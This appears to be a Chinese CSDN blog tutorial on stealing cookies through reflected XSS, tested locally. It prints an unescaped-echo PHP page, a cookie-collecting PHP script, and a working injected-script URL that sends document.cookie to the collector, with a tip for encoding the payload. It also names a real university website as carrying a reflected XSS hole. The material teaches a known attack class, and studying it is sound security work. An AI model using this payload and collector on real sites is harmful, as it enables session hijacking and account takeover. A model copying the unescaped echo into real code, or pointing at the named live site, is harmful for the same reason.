反射型xss偷取cookie（本地验证）

最新推荐文章于 2024-07-10 17:05:37 发布

think_ycx

最新推荐文章于 2024-07-10 17:05:37 发布

阅读量3.1k

点赞数 1

分类专栏： web 文章标签：反射型xss

本文链接：https://blog.csdn.net/think_ycx/article/details/49840219

版权

web 专栏收录该内容

17 篇文章 0 订阅

订阅专栏

原理

反射型xss 为危害之一就是：用户在登录的情况下点击了黑客发送的链接，就会导致该网址的cookie泄露，导致帐号被黑客登录。

本地验证

xss漏洞地址：http://localhost/njuptsta/xss/reflect_xss.php?name=1
黑客收集cookie地址：http://localhost/1.php?c=
构造的url exploit ：

值得注意的一点：

shellcode里面cookie和原始url连接的时候，用的是+。
然而在浏览器的地址栏里，+可能被解析成空格。
所以我们需要把+替换成url编码%2b。
这一点值得注意，花了两个晚上最后还是求助的别人才发现的。
—2015年11月16号更新。

http://localhost/njuptsta/xss/reflect_xss.php?name=1<script>document.location="http://localhost/1.php?c="%2bdocument.cookie</script>

源码：反射型xss漏洞

将用户输入显示在当前页面，存在反射型xss漏洞。

<html>
<body>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<form method = "get" action = "reflect_xss.php">
反射型xss<br>
<input type = "text" name = "name"><br>
<input type = "submit">
</form>
<?php
echo $_GET['name'];
?>
</body>
</html>

源码：黑客收集cookie

<?php
    $cookie = $_GET['c'];
    $myfile = fopen("testfile.txt", "a");
    fwrite($myfile, "cookie:".$cookie."\n");
    fclose($myfile);
?>

反射型xss漏洞存在地址：

http://jwc.shcmusic.edu.cn/plus/Search.asp?searchtype=1&channelid=1&KeyWord=123

think_ycx

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
2
评论
反射型xss偷取cookie（本地验证）

原理反射型xss 为危害之一就是：用户在登录的情况下点击了黑客发送的链接，就会导致该网址的cookie泄露，导致帐号被黑客登录。
复制链接

扫一扫

专栏目录